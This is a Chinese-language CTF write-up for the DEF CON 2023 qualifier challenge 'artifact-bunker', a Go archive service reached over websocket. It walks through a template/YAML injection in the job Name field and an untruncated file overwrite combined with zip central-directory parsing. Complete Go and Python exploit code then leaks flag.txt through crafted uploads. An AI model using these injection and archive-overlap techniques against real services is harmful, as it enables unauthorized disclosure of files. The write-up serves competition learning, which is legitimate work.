Home defcon2023-quals artifact-bunker
Post
Cancel

defcon2023-quals artifact-bunker

题目描述

go写的打包服务,使用websocket通信

模板注入

在run_job处,可以注入Name字段,从而打包flag.txt到/data/aaa.tar

os.O_TRUNC

  • os.O_APPEND:当向文件中写入内容时,把新内容追加到现有内容的后边。
  • os.O_CREATE:当给定路径上的文件不存在时,创建一个新文件。
  • os.O_EXCL:需要与os.O_CREATE一同使用,表示在给定的路径上不能有已存在的文件。
  • os.O_SYNC:在打开的文件之上实施同步 I/O。它会保证读写的内容总会与硬盘上的数据保持同步。
  • os.O_TRUNC:如果文件已存在,并且是常规的文件,那么就先清空其中已经存在的任何内容。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
func compress_files(ws *websocket.Conn, in_path string) (string, error) {
	in_ext := filepath.Ext(in_path)
	out_path := strings.TrimSuffix(in_path, in_ext)

	dir_name := get_file_name(out_path)

	ur := NewUploadReader(in_path)
	if ur == nil {
		return "", errors.New("Unable to read upload archive")
	}

	out_file, err := os.OpenFile(out_path, os.O_WRONLY|os.O_CREATE, 0644)
	if err != nil {
		return "", errors.New("Unable to create compressed directory")
	}
	defer out_file.Close()

	zw := zip.NewWriter(out_file)

	for {
		name, fr, err := ur.Next()
		if err == io.EOF {
			break
		}

		name = strings.TrimLeft(name, "/")

		fw, _ := zw.Create(name)

		if !is_file_ignored(name) {
			fw.Write([]byte("***\n"))
			continue
		}

		// Read full file into memory
		file_data, err := ioutil.ReadAll(fr)

		for _, r := range CONFIG.filter_secrets {
			re := regexp.MustCompile(r)
			file_data = re.ReplaceAll(file_data, []byte("***"))
		}

		fw.Write(file_data)
	}

	ur.Close()
	zw.Close()
	return dir_name, nil
}

这个会导致大文件的前半部分是小文件,保留了大文件的一些内容

zip文件格式

注意,中心目录结束标识只有一个

golang中寻找中心目录结束标识的代码

倒着从文件后面找504B0506源码

1
2
3
4
5
6
7
8
9
10
11
12
13
func findSignatureInBlock(b []byte) int {
	for i := len(b) - directoryEndLen; i >= 0; i-- {
		// defined from directoryEndSignature in struct.go
		if b[i] == 'P' && b[i+1] == 'K' && b[i+2] == 0x05 && b[i+3] == 0x06 {
			// n is length of comment
			n := int(b[i+directoryEndLen-2]) | int(b[i+directoryEndLen-1])<<8
			if n+directoryEndLen+i <= len(b) {
				return i
			}
		}
	}
	return -1
}

利用这个特点,我们可以

  • 先上传一个aaa.tar 归档flag.txt到/data/aaa.tar
  • 上传一个aaa.tar.tar,题目会放到/data/aaa.tar.tar, 同时写一个zip文件到/data/aaa.tar ,记这个zip文件为xxx.zip
  • 再上传一个aaa.tar.zip,题目会放到/data/aaa.tar.zip, 同时写一个zip文件到/data/aaa.tar,记这个zip文件为yyy.zip
  • xxx.zip要大一些,测试过程中,发现必须要覆盖flag内容前的/,否则泄漏的文件名会被/截断,flag的内容不要覆盖掉
  • yyy.zip要小一些,不要覆盖掉xxx.zip的中心目录结束标识
    • file header的格式为”504B0102__filelen___filename”
    • 写一个文件名为”504B0102__filelen___“的文件 同时修改filelen为更大值
    • 该文件名在yyy.zip的起始位置需对齐xxx.zip的File header的起始位置

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package main

import (
	"archive/zip"
	"bytes"
	"encoding/binary"
	"encoding/hex"
	"fmt"
	"io/ioutil"
	"math/rand"
	"os"
	"strings"
)

func get_first_file() {
	out_file, _ := os.OpenFile("temp.zip", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0644)
	defer out_file.Close()
	zw := zip.NewWriter(out_file)
	zw.Create(strings.Repeat("B", 150))
	zw.Close()
}

var cdir_len int32
var zip_data1 []byte

func get_cdir() []byte {
	zip_data1, _ = ioutil.ReadFile("temp.zip")
	start := bytes.LastIndex(zip_data1, []byte("\x50\x4b\x01\x02"))
	end := bytes.LastIndex(zip_data1, []byte(strings.Repeat("B", 150)))
	fmt.Println(end - start)
	cdir_len = int32(end - start)
	new_data := zip_data1[start:end]
	fmt.Println(new_data[len(new_data)-18] == 150)
	new_data[len(new_data)-17] = 0x04
	return new_data
}

func get_locator() uint32 {
	data, _ := ioutil.ReadFile("temp.zip")
	start := bytes.LastIndex(data, []byte("\x50\x4b\x05\x06"))
	start = start + 16
	fmt.Println(data[start : start+4])
	return binary.LittleEndian.Uint32(data[start : start+4])
}

func get_random_string(n int) string {
	// 定义随机字符串中包含的字符集合
	letters := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
	// 生成随机字符串
	b := make([]rune, n)
	for i := range b {
		b[i] = letters[rand.Intn(len(letters))]
	}
	randomString := string(b)
	return randomString
}

func get_second_file() {
	out_file, _ := os.OpenFile("temp1.zip", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0644)
	defer out_file.Close()
	zw := zip.NewWriter(out_file)
	fr, _ := zw.Create(string(get_cdir()))
	fr.Write([]byte(get_random_string(57)))
	zw.Close()
}

func check() bool {
	data, _ := ioutil.ReadFile("temp1.zip")
	var value int32 = int32(get_locator())
	fmt.Println(value)
	fmt.Println(value + cdir_len)
	fmt.Println(hex.EncodeToString(data[value : value+cdir_len]))
	fmt.Println(hex.EncodeToString(get_cdir()))
	return hex.EncodeToString(data[value:cdir_len+value]) == hex.EncodeToString(get_cdir())
}
func main() {
	get_first_file()
	get_second_file()
	fmt.Println(check())
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from urllib.parse import quote
import zipfile
import os
import base64
from websocket import create_connection 
"""
job:
  steps:
    - use: archive
      name: "aaa.ext"
      artifacts:
        - "/"
    - use: archive
      name: "end--"
      artifacts:
        - "bunker-expansion-plan.txt"
        - "new-layer-blueprint.txt"
"""

data = """%s"
      artifacts:
        - "%s"
    - use: archive
      name: "end-"""
def gen(name, archive):
    return data % (name, archive)

def upload(remote_file,local_file):
    return f'upload {remote_file} ' + base64.b64encode(open(local_file,'rb').read()).decode()

if __name__ == "__main__":
    exp = ["clean-all"]
    exp1 = 'job package ' + quote(gen('aaa','flag.txt'))
    exp.append(exp1)
    
    os.system("touch "+"B" * 150)
    
    cmd = ["tar", "-cvf", "one.tar", "B" * 150]
    os.system(" ".join(cmd)) 
    
    exp.append(upload('aaa.tar.tar','one.tar'))
    exp.append(upload('aaa.tar.zip','temp1.zip'))
    exp.append('list .')
    exp.append('list aaa.tar')
    
    
    ws = create_connection("ws://god.cc:10001/ws/")
    for e in exp:
        ws.send(e)
        print(ws.recv())
    
This post is licensed under CC BY 4.0 by the author.